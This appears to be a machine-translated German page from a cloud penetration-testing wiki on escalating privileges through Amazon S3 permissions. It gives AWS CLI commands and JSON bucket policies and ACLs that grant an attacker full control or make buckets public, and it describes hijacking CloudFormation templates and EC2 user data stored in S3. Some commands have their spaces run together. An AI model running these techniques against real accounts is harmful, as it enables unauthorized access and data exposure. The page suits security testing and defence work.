Ein Angreifer mit diesen Berechtigungen über interessante Buckets könnte Ressourcen übernehmen und Berechtigungen eskalieren.
Zum Beispiel kann ein Angreifer mit diesen Berechtigungen über einen CloudFormation-Bucket namens "cf-templates-nohnwfax6a6i-us-east-1" das Deployment übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden:
Und die Übernahme ist möglich, weil es ein kleines Zeitfenster vom Zeitpunkt des Hochladens der Vorlage in den Eimer bis zum Zeitpunkt des Bereitstellens der Vorlage gibt. Ein Angreifer könnte einfach eine Lambda-Funktion in seinem Konto erstellen, die ausgelöst wird, wenn eine Eimerbenachrichtigung gesendet wird, und den Inhalt dieses Eimers übernimmt.
Dies sind die Berechtigungen zum Abrufen und Hochladen von Objekten in S3. Mehrere Dienste innerhalb von AWS (und außerhalb davon) verwenden S3-Speicher, um Konfigurationsdateien zu speichern.
Ein Angreifer mit Lesezugriff darauf könnte sensible Informationen darin finden.
Ein Angreifer mit Schreibzugriff darauf könnte die Daten ändern, um einen Dienst zu missbrauchen und zu versuchen, Berechtigungen zu eskalieren.
Hier sind einige Beispiele:
Wenn eine EC2-Instanz die Benutzerdaten in einem S3-Eimer speichert, könnte ein Angreifer sie ändern, um beliebigen Code innerhalb der EC2-Instanz auszuführen.
s3:PutBucketPolicy
Ein Angreifer, der aus demselben Konto stammen muss, andernfalls wird der Fehler Die angegebene Methode ist nicht zulässig ausgelöst, kann sich mit dieser Berechtigung zusätzliche Berechtigungen über die Eimer gewähren, die es ihm ermöglichen, Eimer zu lesen, zu schreiben, zu ändern, zu löschen und freizulegen.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Buckets zu verschaffen.
Beachten Sie, dass der Angreifer nicht aus demselben Konto stammen muss. Darüber hinaus der Schreibzugriff.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Objekte in Buckets zu verschaffen.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, einem bestimmten Objektversion eine Acl zuzuweisen.